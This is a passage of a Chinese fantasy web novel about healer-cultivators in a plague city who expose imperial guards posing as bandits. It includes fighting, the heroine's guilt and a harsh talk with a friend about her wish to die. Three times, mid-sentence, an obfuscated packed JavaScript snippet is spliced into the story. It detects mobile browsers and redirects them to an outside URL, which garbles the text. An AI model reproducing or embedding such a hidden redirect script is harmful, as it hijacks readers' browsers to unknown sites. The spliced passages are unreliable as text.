“到时候你们自会知道!”黑衣人说着,又威慑道,“我数三个数,若你们不放下武器,多耽搁一刻,我便多杀一个人!” 在一旁看守的黑衣人摁倒最边上的一个百姓,那一侧立刻又开始哭声震天。 不容他开始倒数,花沐雨高声打断:“是你非逼着我们二选其一,但其实如果没有你,我们原本就什么都不必舍弃。你是聪明人,你觉得我会怎么办?” 连哭号都被她震住,场面一时安静下来。 “扈陵的杀孽已经够重了。”花沐雨道把话还回去,“我是修行之人,此刻放下武器,我可以既往不咎,放你们各自逃命。” 为首的黑衣人下意识想要看向肖元影,但好歹克制住了。这女人此时已是强弩之末,不过是在诈他而已,切不可自乱阵脚。定了定神,他并不作答,径直开始被打断的倒数:“三……” “笃”的一声轻响,那是人的身体被穿过的声音。银光在黑衣人的体内凝聚,从内而外化作长枪,一瞬间便自喉管穿透后脑,掐灭了他的生机。同样的事情发生在另一侧,平民周围拿着刀的黑衣人沉沉倒下,骇得人群一丝声音都发不得。 一切都在转瞬之间,银光凝聚的霎那,花沐雨已经飞身而上。她的眼睛仿佛燃烧一样明亮,一手夺过黑衣人手中的茜君,一手掏出怀中的药粉,朝聚集在一处的黑衣人劈头撒去。药效比银光稍慢一筹,尸体倒地的扑通声之后片刻,大批的黑衣人才纷纷软倒。而此时,花沐雨早已经回到小南国弟子身边多时了。将昏睡的茜君交给南星,叫丹砂和南星一起为茜君检查。 这是这么长时间以来花沐雨第一次出手要人性命。 肖元影呆立在黑衣人的尸体之间,大势已去的念头将他整个人砸中。他原想以此来逼迫这群心慈面软的修士就范,再不济,消耗些时间,好叫那边一直隐藏立场的禁军将他们一举拿下。怎料情况急转直下,那个女人明明已经颓势尽显,为何又能出此杀招? 花沐雨踢过之前黑衣人丢下的绳子:“卜芥,带人来清理一下。” 不,还并未穷途末路。肖元影冷静下来,所幸自己留了一手,自己和吴谦那帮人一样不曾暴露,在他们眼中自己还是好人,他还有机会。 思及此处,肖元影立刻望了一眼同样无措的吴谦,转而不顾被捆住的双手,朝花沐雨跪道:“多谢仙师救命之恩!若非仙师法力无边,今日我等及扈陵百姓必遭大劫!” 禁军与被劫持出来的扈陵百姓跟着他跪了一地。 “不必如此。”花沐雨语气轻柔,眸光已经暗淡了。 路通走上来帮肖元影解绳索,只是个活结,很轻易就解开了。“统领如何被贼人劫持了?”他问。 “此事说来话长……”肖元影一边配合着他的动作把绳索抖开,一边说道。 那边,丹砂放下了茜君的手腕。花沐雨一直看着这里,丹砂冲她摇摇头。茜君身上看不出病灶,但内里已是生机断绝之象,只是吊着一口气罢了。 卜芥已经主持众人开始收拾起了战场。小南国等人忙碌地救治伤患、清点人数,还要安抚病人。人们抬着尸体从他面前经过,尸体蒙着脸,卜芥心里有气无处发泄,想看清楚这些人的样子,便抬手拽下了那具尸体的面罩。 不远处的肖元影忙着和路通客套,还不曾发觉,离得近的吴谦瞧见了,面色大变。 “叔叔……”茜君疲倦地睁着眼,看到那具尸体的面庞,忽然喃喃地叫了一句。 南星没听清,凑近了些,问:“你说什么?” 茜君气息微弱:“那是,放我和我爹娘出城的,好心的禁军叔叔。” 南星还没明白发生了什么事,斜里伸出一只手,猛地将茜君从她怀里扯走。丹砂霎时反应过来:“他们是禁军!” “什么?”川连仍旧茫然,他和身边的弟子就已经被禁军一起持刀挟持住。 吴谦抢过茜君,和其他禁军聚在一起。肖元影仍跟路通站在一处,手无寸铁,而路通也茫然了,和他一起望向那边,一时忘了动作。 “给我备三十匹快马,放我们出城去,你们不许跟着,也不许阻拦!”吴谦捏着茜君的脖子,和手下一起躲在川连的身后。 此前丹砂已经叫破了花沐雨的名字,被吴谦留意到了:“花沐雨,我知道你修为非同一般,但你那门功法需要耗费不少体力吧?现在的你,还有信心能一下子救下这么多人吗!嗯?”他此时情绪激动,刀刃在茜君脖子上压出了血痕。 “这,这是怎么回事啊!”川连躲着禁军不断压来的刀,不明白情况为何如此急转直下。 “那个死去的黑衣人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294802|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是放茜君和她爹娘出城的禁军!”丹砂叫道,“这些黑衣人根本就是禁军假扮的!” 路通下意识望向身侧的肖元影,事已至此,肖元影只能立刻勒住路通的脖颈,同样高喊道:“备马!放我们出去!” “你松手!”南星留意到了茜君的状况,“她要喘不过气来了!” 吴谦示威一般更加收紧了五指:“放我们走!” “你松手。”花沐雨语气平淡地开口,“我放你走。” “此话当真?”吴谦问道,“你还不许向人提及此事!你和其他这些修士,什么都不许说!” “当真。”花沐雨道,“你要掐死她了。掐死她,你什么倚仗都没有了。马都在马厩里,你松手,我这就叫人去给你们牵马。” 吴谦迟疑地放松了力道,正要再次催促,花沐雨垂眸,几步外,挟持着川连及其他小南国弟子的禁军一如其他黑衣人那般,自身体里穿出银白色兵刃。 吴谦的手一松,茜君如木偶一般落下。 南星抢上前去,而茜君面色紫涨,已经探不到呼吸了。 “茜君!”南星失声痛哭。 “别杀我!”肖元影此时只恨吴谦多事,像丢烫手山芋一样丢开了路通,扑通一声高举双手跪到地上,花沐雨的枪尖已经指到了他的鼻尖。 “别杀我。”肖元影瞪大了双眼,望着花沐雨木然的神色,连珠炮般求饶道,“杀了我,你就什么真相都得不到了!不止这里,北城也有被困的百姓,杀了我,你们永远也找不到他们!” 确实需要留下他来交代罪行。“把他绑起来。”花沐雨对拿着绳子的弟子说道。 她已经很累了。吴谦其实猜得没错,她此前骨肉匀婷的手已经骨节毕露,连说话的力气都快消磨了。 “石耳,水萍,白英,卜芥。”她叫此前出城为禁军看诊的几个人,“你们去辨认下尸体,看看有多少是之前在面诊中见过的。” 许久无人搭言。 “石耳和白英没在这儿。”水萍道,“当时我们在前厅,黑人从前门杀来,石耳推我先走,被人从身后砍中。白英躲闪不及,只有我和南星逃了回来。” 花沐雨真的很累了,累得连情绪都生不起来。 “先将这些都打扫了吧。”她对其他人说道,“传信回谷中,叫人间的皇帝派新的人来。” “我们的鹤纸都不见了。”川连道。 花沐雨的眼珠干涩一转,看向肖元影:“鹤纸呢?” 肖元影犹在迟疑,花沐雨枪尖再近一寸,肖元影忙喊道:“在我怀里!确实是我们偷拿了鹤纸,凡人的法子毁不掉此等仙物,吴谦打探到鹤纸的藏处,为了不让你们传信出去,趁没人……” 他已经被卜芥绑住了,花沐雨没精力听他说话,从他怀里找出鹤纸,交给了一旁的路通,重复了一遍:“传信回谷中,叫人间的皇帝派人过来。” 白袍武士在空中消散,变为普通的药材滚落在地,银枪变作丝丝银光游走。已经没有能活动的禁军了,传信的纸鹤飞出染血的小院,花沐雨找了个边角的位置坐下:“你们休整吧,我守夜。” 谁都看出了花沐雨的疲倦,但这种时候,大家都相信着她。 23. 路潇潇常违本愿 众人腾出了西面一间厢房停放尸体,俘虏的禁军远离人群,被关押在后院。 花沐雨满身疲倦,独自找了个僻静的屋顶——这里可以看管俘虏,前院发生什么状况也能及时赶到。 侧面传来一阵轻响,还有吱呀吱呀的竹子摩擦声。丹砂顺着梯子爬到屋顶,到花沐雨旁边坐下。 “谷中的回信传来了。”丹砂道,“金师根本不知道扈陵匪患一事,也从未押过什么俘虏出城,肖元影一直在骗我们。” 夜空皎洁,刚过十五,月亮浑圆,凉凉地照在她二人身上。 “姜国皇帝派来了新的钦差,亲赴扈陵主审此案,说是快马加鞭,差不多明天晚些时候就会到了。”丹砂想了一想,“哦,不对,已经是今天了。” 花沐雨勾勾嘴角,强撑着若无其事的样子与丹砂打趣:“这个时候来扈陵?” 丹砂点点头:“派了个皇子呢。” “哇,还是个皇子。”花沐雨打趣。 丹砂沉默一瞬,问:“你怎么样?” “我能有什么事。”花沐雨犹自在笑,半晌,道,“对不起。如果我不出城,就不会发生这样的事。”此时她还保持着能让人喜爱的笑容。 “当时的情况并不分明,你也不知道他们竟然会这样丧心病狂,选择情况更危险的茜君情有可原。”丹砂道。 “不……”花沐雨条件反射般否定了,“我当时心里已经想到了,但是偏偏忽视了这种预感。如果我再考虑周全一点,就不会发生这样的事。” 她独自坐着,然而小南国弟子的、茜君的、黑衣人和禁军的,乃至更久之前的,孩子的尸体,大人的尸体,该死的和不该死的,所有过去和现在丧命在她手下的人仿佛都躺在她身侧。 所有的一切压在她身上。凝固成黑色的红色,失去生机而变样的面孔,干涸在空洞眼珠上的泥土,还有挥之不去的腥味,早就不存在的饱含着憎恶、不甘、怨愤的眼神无时无刻不在盯着她。 除了我没有人应该死,为什么死的人不是我。 情绪再次袭击了她,花沐雨保持着笑容,空茫地想着。 “我说过了。决定是我做的,我会负责。”花沐雨道。 “我也赞同了你的决定啊。”丹砂嘀咕,“这是共同的决定,不是你一个人的责任。” 花沐雨没有说话。 丹砂思考了一会儿:“如果是我做了这些事呢?”她转向花沐雨,问,“如果是我没发现肖元影的调虎离山之计,选择出城,但是给你留下了保险的手段。我出城后发现了中计,及时赶了回来,救下了剩下的人。假如是我,你会对我说什么?” “没有及时。”花沐雨道,“我回来晚了。” “好,回来晚了。”丹砂耐着性子,“我没发现肖元影的调虎离山之计,选择出城去看茜君的情况,走之前给广丹南星她们留下了保险的手段。出城后我发现中计,用最快的速度赶了回来,拼尽全力救下了剩下的人。这样,你会对我说什么?” “我会对你说,你已经做得很好了。发生这样的事不是你的错,你已经尽力了。” 说出这句话,她干涩的眼眶忽然涌上一股热流。她忙扭头看向别处,好缓解那股热意。 她知道丹砂想要用这样的方式开解她。“但是你不是我。你还是个孩子。你不习武功、钻研医术,而我本来就应该要保护你们的。你这样,是做到了你职责之外的事,而我是没有做到我本该做到的事。”花沐雨道,“你不用安慰我了。” “我早该发现的。”她平静地说,“你提醒过我那么多次,我还以为是你想多了。明明有那么多迹象,我都没注意到。如果不是我的疏忽,大家都不用死。他们都还那么年轻,大有作为,不久前我们还坐在一起,但现在一切都结束了。我都知道了,你不用安慰我。” 丹砂无奈地翻了个白眼。 “那你打算怎么办?”丹砂温和告罄,用惯常那种略带嘲讽的语气问道,“去给他们偿命吗?” 花沐雨没有说话。 “死了那么多人,你只有一条命,怎么偿得过来?死去活来杀你千百次?”丹砂诘问,她以为花沐雨介意的只是小南国的弟子,“他们都是弟子里的佼佼者,医术卓绝,要是活下来,可以拯救无数的性命,因为你,他们死了,未来本可以活下来的无数生命也死了,你怎么赔?你赔得起吗?” “我赔不起。”花沐雨没什么表情,而羞愧在内里如同万蚁噬心。她想要缩起来,想要发怒,想要叫所有人走开,或者躲到一个没有人也没有光的窄小角落,但她硬挺着在这里接受惩罚;她想要说点什么,又怕自己一开口眼泪就流出来。 她问丹砂:“你要不杀了我?” “想死就自己去死啊,干嘛还要人杀你?”丹砂皱着眉,“你在矫情什么?我问你,你还有个师弟是不是?” “是。”花沐雨答道。 “你师弟修为如何?”丹砂问。 “不在我之下。”花沐雨道。 “那如果今日的人是他呢?”丹砂假设,“假如是他出了城去,你和我们一起被困杀城中,他赶了回来,造成如今的局面,你会怪他吗?” 花沐雨默然。 “我不会怪他。”花沐雨缓缓道,“我知道他必然已经拼尽全力,而且,在此种境况下,他必然已经十分自责……所以我不会再怪他。” “所以你为什么总是对自己格外苛刻呢?”丹砂问。 花沐雨漠然道:“人怎么可以对旁人严格却对自己宽容呢?” “对自己严格不等于苛刻呀?”丹砂匪夷所思,“我问你,你一直在说你自己,肖元影呢?其他禁军呢?他们杀了这么多人,你觉得他们可恨吗?” 花沐雨木然:“世人做事总有他们的缘由,前因后果,因果循环。他们做出选择,付出代价,我不恨他们……”我也不想去做那个为他们量刑的人。 “你连他们都不恨,然后反过来憎恨自己?”丹砂不可置信地反问,“严于律己宽以待人勉强算是个道理,但是你不觉得你对待别人过于宽容、而对待自己过于严格了吗?” 花沐雨垂眸不答。 “你有病吧?你算老几啊?你很了不起吗?”丹砂接着道,“大家都是人,为什么别人有的问题你不能有?是你和别人都不一样,还是你注定要比别人优秀?” 花沐雨的喉咙动了动:“怪我自命不凡吧。” 丹砂做出个厌恶的表情,扯过花沐雨瘦得只剩一把骨头的手,感受了一下她的脉象又丢开:“挺好,照这个架势,你很快就可以如愿去死了。” 花沐雨慢吞吞地收回手腕,整理好翻开的衣袖。 “我原想劝你去歇一会儿,如今看来,倒不如放你矫情。”丹砂拍拍手站起来,居高临下地看着花沐雨,“若是真想死,你就痛快找个没人地方,别还特意跟谁说似的,有劳我不得不开解你。” 花沐雨仰头去看她:“没事儿,你当我胡说。” “你都这样了谁还能当你没事胡说啊?”丹砂厌烦极了,“你很喜欢这样引起别人的愧疚、让别人不得不救你、然后你又做出不想被救的样子是不是?” 花沐雨的嘴角应言落下,看着花沐雨的样子,丹砂的语气又和缓下来:“退一万步讲,如果你真的觉得自己亏欠了别人的未来,就不要再亏欠自己的未来;如果你改不掉自命不凡,那就去做能让你变得不凡的事,别光在这儿自怨自艾。” “此前我不想你回北境,但是这么多天下来,我反倒觉得,你该回去走一走。”丹砂道,“做得好是应该的,一丁点的错误都是不能容忍的,什么样的过去会养出来你这样的人?你不喜欢你自己,随波逐流,找不到自己想要坚持的事,想要把自己和一切隔离开,被动地等待着死亡,这样很烦人。我觉得你需要和自己的过去聊聊天。就像你宽慰所有其他人一样,你需要想明白,你已经尽力了,这不是你的错。你也该放下自己,你不是至高无上的救世主,大家都一样,你没什么了不起的。” 花沐雨不知为何涌起一股被冒犯般的不悦,她克制着收回视线:“我们别聊这个了。” “有病!”丹砂一下子沉下了脸,拂袖而去。 一夜无眠,又木雕泥塑似的过了一个白天,第二天天擦黑的时候,果然有新的队伍开到扈陵。 花沐雨看着新来的队伍接手了俘虏,提及北城还有被困的百姓,川连看向花沐雨。 “一起去看看吧。”花沐雨道。 根据肖元影的交待,他们所在的这处南城“永安堂”其实本叫“广发堂”,是他们挑了些好摆布的病患集中在南城,并南城剩下的原住民一起,摘了北城永安堂的牌匾,在南城摆出了一个糊弄人的阵仗。川断失去意识,也是被挪过来的。 南贵北贱,北城条件差,瘟疫本就比南城严重很多。挑来听话的病患装点南城后,他们本想将北城那些不服管教的贱民砍杀,未料出了个妖物,将剩下的贱民 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294803|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 护住,他们一直没能奈何。 北城的夜似乎格外黑,花沐雨、川连并新来的钦差和一众侍卫骑在马上,开路的灯火摇曳,马蹄声在残碎的石板路上回响。 有些过于安静了。 花沐雨垂眸,察觉到马蹄下踏出的微弱红色涟漪。 “每次都是这样,我们的人在这里绕来绕去,就是找不到地方!”被推在前面带路的肖元影急切地说道。 押着他的侍卫一鞭挥下,抽得肖元影惨叫一声。 惨叫声中,长街尽头沉沉的夜色里忽然出现了一点萤火。 那位新来的钦差下意识地勒住了马,朗声问道:“谁在哪儿?” 并没有人回答,只有那点萤火慢慢扩大。钦差攥着缰绳,花沐雨已经从侧面打马出来,捞过开路人手中的灯笼,朝夜色深处走去。 摇摇两点荧光渐渐靠近,近到对面的人终于能够被看清。 那是一个伶仃的人影,裹着过于宽大的麻袍,连发丝都没露出一点。一支提杆自那人袖筒中探出,提杆下面挂着一个白灯笼,正是他们此前看到的萤火。 花沐雨勒住马:“是谁?” 那人并没有回答问题,但是听话地站住了。 花沐雨提着灯笼,翻身下马。不待她问话,那人轻轻抬起头来,露出了藏在兜帽下的脸。 花沐雨双目一瞬,那人又将头低下。 “怎么样?”钦差什么都看不见,在后面问道。 那人抬起一直垂在身侧的手,摊开手掌,素白的手掌中立着一只普普通通的纸鹤。 花沐雨征询道:“我可以拿吗?” 那人没说话。 于是花沐雨捻起她手中的纸鹤,回到队伍旁边。 “这是小南国的信纸。”川连一见纸鹤就认了出来,“那人给你的?” “嗯。”花沐雨点头,“可以打开看看。” 这一只纸鹤虽然由凌虚界的信纸折成,但并没有送信的人注入灵气,所以并不能送出,只是个普通的纸鹤罢了。 川连小心地将纸鹤拆开,借着风灯的光匆匆看了一眼:“是川断的信,看样子是之前写的,叫我们进城后跟提着灯笼的这个人走。” 川连抬起头,与花沐雨对视一眼。 “她不是妖邪。”花沐雨淡淡地说,“你们听说过印偶吗?” 风灯下一眼,花沐雨看清了她的面容。 麻袍兜帽下,她肌肤瓷白,即使在黑夜中也熠熠生辉。睫毛、眉毛和发丝都是淡淡的绯红色,更让人惊异的是,她的双目和双唇紧闭,眼帘、鼻头和口唇处皆用极细的朱笔勾勒出繁复的纹路。双耳被遮挡在兜帽中看不清楚,但花沐雨猜测应该是和眼唇同样的情形。 那些繁复的纹路实为镇印,以印镇灵物七窍,使其不能视物、不能言语,即为印偶 。 印偶以灵物为胎底。灵性易染,而镇印又能阻止灵气外泄,印偶就成了绝佳的容器,可以将灵物吸纳的一切原原本本地保存在灵物的身体内。 相较于普通的储物法宝,印偶所能保存的,更多为无形之物,譬如灵气,也有修士用印偶保存记忆、情绪之类的东西。如有需要,印主可以开启印偶的镇印,将保存在印偶体内的无形之物引出。 印偶是没办法说话的,她到底是什么灵物,主人是谁,叫什么名字,花沐雨一概无从得知。 灵物天生天长,本性至纯至洁,与人无害。想来她之前也是以某种秘法布下迷阵,叫禁军找不到正确的路。 搞清缘由,风灯开道的队伍再次摇摇启程。 提着灯笼的红发印偶朝花沐雨欠身致意,裹紧了麻袍,转身向长街尽头走去。 跟着这个奇怪的人,车队穿过长街,终于在走过几条巷子后远远看到了一个有些残旧的门脸。此处门上还挂着“药”字旗,匾额却空了。 离门脸还有一段路,队伍已经几乎无处落脚,就连墙根下都躺满了浑身黑斑的患者。空气中弥漫着浓郁的药味和石灰的灼烧气息,不时传来一两声痛苦的呕吐声或呻吟,横躺竖卧的身体对他们的到来没有丝毫反应。 提着灯笼的印偶停下脚步,转过身来。 队伍跟她保持了一段距离,她就站在失去匾额的永安堂与衣冠楚楚的队伍之间,没有视觉,花沐雨却感觉到她的视线。 “我们到了。”花沐雨低声说了一句。连日强撑的疲乏泛上额前,她干裂的唇间呼出一口热气,终于眼前一黑,彻底倒了下去。 24. 物不似 好像已经睁开了眼睛,但什么都没有看到。 我死了吗。她这样想道。 她动了动眼睛,微微扭过头,看清了床边坐着的人。 一瞬间连那人影都有点陌生,直到那人说了几句话,她才渐渐回想起来,这是丹砂。 丹砂凉凉地说:“又没死成,高兴了吗?你到底想不想死,我都说了,要死找个没人的地方,别死我眼前。我还能看着你死吗?” 花沐雨疲倦地收回视线,看着磨损的床顶,问:“什么时候了?” “已经下午了,你昏过去了一天。”丹砂道。 “我们在哪儿?”花沐雨问。 “永安堂。”说完,丹砂又补充了一句,“北城的那个。我们从广发堂搬过来了。” 花沐雨听完心里有数,再次合上了眼睛,试图积蓄一些力气。 “能起来吗?”丹砂问,“谷中的回信来了,那边钦差也连夜审出了结果,要等你醒来一起商议。” “等我干什么?”花沐雨神思倦怠。 “你要真不想听,我让他们别等你就是了。”丹砂道。 此前强行支撑《千军令》和《万兵谱》几乎将花沐雨耗干,全靠救治及时,小南国众人用灵力把她拉回来。此时花沐雨虽醒了过来,但身体的亏耗仍在,思绪依旧混沌。懒怠挪动,花沐雨有心不理,但思来想去仍放心不下。 看她勉强起身,丹砂冷笑一声。 推开吱呀作响的门,花沐雨因屋外热烈的阳光而眯起了眼。 “您醒了。”身穿枣红官袍的人等在门外,脸上蒙着面罩,见花沐雨带着丹砂出来,拱手道。 花沐雨斜看过去一眼,那人垂首,自我介绍道:“卑职太子舍人薛望,奉太子之命于此恭候。” 花沐雨眉间微蹙:“太子?” 薛望躬身:“姜国太子烈,其父姜国国主,其母文太师之女,身份贵重,不顾危势,亲赴扈陵主审禁军屠民案,以昭天子圣怀,抚天下民心。” 花沐雨垂眸,不再多问。 薛望在前,引着花沐雨和丹砂来到正堂。 正堂一如别处破旧,但看得出来仔细打扫过了。他们和小南国弟子陆续到场,门从里面打开,上首坐着川连与太子“钦差”。二人此前似乎在商量什么,川连面有不虞,门开后才整了整衣袍,喝了口茶。 薛望引着小南国众人和花沐雨进来,丹砂走到南星旁边站好,花沐雨简单见礼,在川连下首的空位上坐下。 众人到齐,太子起身,向花沐雨与小南国众人施礼,恭敬道:“烈代父向仙师告罪。父皇本意驻军为防扈陵动乱,未料禁军统领肖元影胆大包天、罪大恶极,贪财枉法,以至于险些损伤诸位仙师贵体,烈在此听凭发落。” “纵然有罪,也只在肖元影一人,殿下无需自责。”川连应了一句。 “仙师慈悲宽宏,姜国万民感激不尽。”太子顺势一揖到地。 “殿下请起吧。”川连让了一句,薛望忙将他扶起,太子烈再次落座。 “调查结果可都出来了?”花沐雨问。 薛望挥手,下面的人捧着口供呈了上来。 他拿过口供给川连和花沐雨传阅:“据肖元影交代,他们在扈陵驻扎下来之后,便有扈陵城中的权贵找上门来,千方百计求他放自己出城去。他原不为所动,但一来二去,禁不住动了点心思,做起了收受贿赂、私下放人出城的生意。 “然而放人出城后,他越想越害怕,担心走露风声,索性一不做二不休,派禁军往城外,将偷放出城的权贵劫杀,只当他们是死于瘟疫。如此事情越滚越大,直到诸位仙师偶然将女童茜君救下。 “当时肖不知诸位是上界的仙人,鲁莽动手,而后悔不当初。只恨开弓没有回头箭,于是虚与委蛇,百般作态,心存侥幸,妄想连诸位仙师一同灭口,好叫自己所作的恶事彻底掩盖。 “这般白日做梦,自然破灭。如今肖元影自知山穷水尽,知无不言,但求速死,倒叫我们省了许多工夫。” 川连看完,将口供递给了花沐雨。 花沐雨从头看过,问:“名册烧了?” “是,”薛望代太子道,“他唯恐被人发现,前日动手前,就将名册等物付之一炬,我正叫人录他口述,并与城中户籍一一对应。” “收受的贿赂埋在壕沟下?”花沐雨问。 “正是。”薛望道,“我等已在肖元影所供述的位置进行挖掘,果见金银无数,目前还未挖完。” 口供看到尾声,花沐雨又回看几遍,问:“他这样的罪行,依律如何?” 薛望叹气道:“肖元影罪大恶极,依律当满门抄斩、九族皆诛。凡人不过一死,然而一死又何以平他的罪孽?只盼此人罪魂堕入十八层地狱,永世不得超生,才好大快人心。” “凡人难知幽冥事。”花沐雨将口供原样折好,放回桌几上,“满门抄斩、诛九族,刑罚已极了。” 太子亦是长叹,又试探着问:“真相总算得以大白于天下,不知仙师日后作何打算?” 川连一默,转而也向侍立在侧的小南国弟子道:“谷中确有来信,经此一事,大家可以选择自行归谷。” 其余的弟子不免彼此交流了几个眼色。 太子面露不忍,起身拜道:“烈自知扈陵一事为对上界尊者之大不敬,然而扈陵瘟疫横行、百姓水深火热,下界凡医属实束手无策。扈陵之罪,全在烈等,百姓何辜?父皇命我到此与百姓同生共死,又另下罪己诏,但望诸位仙师大发慈悲,万勿弃福于扈陵万千百姓。” 薛望率领着屋里屋外的太子下属呼啦啦跪了一地,齐声说道:“求仙师垂怜。” 诸位弟子面面相觑,只打量川连脸色。 “上天有好生之德。”川连沉着脸,“扈陵城中逝去的人已经够多了,又何苦更添性命。我会留下,想留下的人也可以留下。” 弟子死伤过半,他心中不是没有气,但罪责毕竟不在百姓,谷中又传信过来,叫他安抚弟子,不要意气用事,不可放弃扈陵,他同样无奈。 太子感激涕零,携众一起高声拜道:“谢仙师!” 太子将带着新的队伍继续在此,一方面是处理扈陵禁军屠民案的后续事宜,另一方面是维护扈陵秩序,直到瘟疫彻底结束。 会面后,川连又单独召集了小南国的弟子。 川连道:“谷中会沟通人间五国,为回去的队伍专门开辟一条通路,不至于叫瘟疫流传出去。若有人想要回谷,可以同我一说。” 众人面面相觑,无人应声。 川连便挑人问道:“丹砂,你要回去吗?” “我可以用此地的患者实验截脉之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294804|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法吗?”丹砂问。 川连径直皱眉:“截脉是医治所需,我们并不是罔顾病人性命,把患者当实验品。” “我可以用截脉之法吗?”丹砂重新措辞。 “此前我们不是已经在用了吗?”川连此时心绪烦乱,态度也不复平日的宽厚。 “那我留下呗。”丹砂抿抿嘴。 川连看向另一边的路通水萍等人:“我将会向谷中请求更多的灵药与人力支援,若是他人有想法,也可私下来找我,如若没有想离开的,等此间事了,我们就一起带着白芷他们回去。” 众人参差应是,各自退下。 花沐雨跟在丹砂和南星身后,走出不再熟悉的连廊。 自那夜在那个印偶的指引下找到北城后,小南国便将驻地转移到情况更为严重的北城。 都是城中门市,永安堂和广发堂结构相似,但装潢用具破旧了许多。 近一日过去,病患与药草用物等都已安置得差不多。看似一切重回正轨,然而身处之地已然不同,更有种莫名的变化无声地弥漫在众人之间。 “师叔原本就是在此义诊,他们摘了此地的牌匾,给广发堂换上,把我们诳了过去。”南星打起帘子,“如今找到正地儿,师叔也安置回他原本的屋子。” 花沐雨低头走进屋中,见到了依旧没有恢复意识的川断。 “这里就是他之前一直住的地方?”花沐雨确认道。 “正是。”南星道,“我就说,师叔住的地方哪能那样干净整齐,一本乱放的书都没有呢?” 花沐雨环顾四周,阳光透过破陋的窗户纸照进来,打出几道飘浮着灰絮的的光柱。四周堆满了各种翻开卷起的医术,也有从之前的地方又搬回来的整齐书册。桌上还搁着蘸过墨的笔,笔头早已干硬了。 “师叔的手记被撕去了不少,还能找到的都被那个不会说话的姑娘保存着,我们来之后都交给川连师叔了。”南星介绍着,“当地的人都跟她没什么交际,也不知道她叫什么。” “正常灵物都会避世而居,她能出现在这里,我也猜不出缘由。”花沐雨随手翻开桌上满是翻阅痕迹的医术,“不过她是不会害人的。” “我听丹砂讲了,她是灵物制成的印偶是不是?”南星道,“就是她将北城护下的吧?当初他们把师叔和部分人挪走,她为什么不拦着呢?” “许是有些曲折。”花沐雨道,“印偶并无什么战力,能像她这样布下迷阵已是不易。或许是之前没能识破他们的面目,只以为是普通挪动,直到后来他们图穷匕见,这才醒悟,出手布下迷阵,不让他们再伤北城百姓性命,也是有可能的。” “原来如此。”南星了然。 “川断先生的手记你们都看过没有?”花沐雨问,“这个印偶是他做的么?” “我没看,手记都在川连师叔那边,要么丹砂看呢。”南星道,“要不问问那姑娘?” 花沐雨沉思着:“不知道她会不会说。你们可知她现在何处?” 南星摇头:“她想消失就消失,神出鬼没的。” 花沐雨点点头,将医书合上:“无碍,来日方长。” 罪魁伏法,获得了来自皇家的直接支持,换了一个新的环境,这时的他们以为一切困苦都不过是过去的篇章,却忽略了那个最根本的问题其实始终悬而未解。 25. 人非昨 “效果越来越差。” 又一次坐在一起,川连为逐渐失效的药皱眉。 “问题的关键在那黑气。”丹砂道,“黑气附着在病气上,会率先消减药力,最开始消减一分,往后便消减十分。而且黑气无法用任何方式分解分辨,《逢春诀》中更是完全没有类似的记载……谷中也没头绪吗?” “谷中师父师祖都过目过了,还是没有一点头绪。”川连语带思索。 “以灵力抵挡,倒不会折损得像药力那么快,但也是有折损的。”乌柏道,“由此看来,即便靠灵力也无法彻底逼退病气,更何况我们的灵气也严重不够了。”他语气平淡,讨论也不过例行公事,其实心已灰了。 “病人越来越悲观,大家都觉得染上这个病就是没救了。”南星日常和病患在一处,十分清楚如今病患之间的氛围。 “还是需要把病人安抚好。”川连道,“南星,你带着水萍她们多开导开导、解释解释。没有头绪只是一时的,我们肯定能找到解决办法,不要让病人失去信心。” 接连的打击加上没有头绪的疫病,叫川连一夜之间苍老,但也只能强撑着。 南星应是,心底也有些疲惫。 她说的又何尝不是自己的心声。连她都不太相信川连说的瘟疫一定能治好,又该如何去安慰她的病人?这样的日子看不到尽头,是不是自己迟早有一天也会染上这可怕的病,最后和那些普通人一起死在这里? 她心底时常涌起不如趁早回去的念头,但也就想想罢了。她知道自己不能回去,而且这个病越是没有办法医治,她就越是不能回去。 会面草草结束,大家都将希望寄托在谷中。 小南国弟子们折损不少,如今人手愈发不够。南星匆匆带着水萍来到东厢,依次给病人做例行检查,并送些保气维养的药。 这边的病人症状都还稍轻一些。一位老妇人满头花白,两腮凹陷,面色蜡黄,形容憔悴不堪,一边给儿子喂药,一边问水萍:“大夫,你跟我说实话,这个病真能有得治吗?” 水萍安慰她道:“听大夫的话,好好吃药,他还这么年轻,肯定没事的。” 这时,从旁边传来剧烈的咳嗽声。 她们隔壁床是一个独身的男人,衣衫破烂,行迹邋遢。 他剧烈地咳了一会儿,咳出一口浓痰在嘴里。顺手从糟朽的布衫上撕下来一块布,将痰吐出来包了,压到枕头下,又躺了回去。 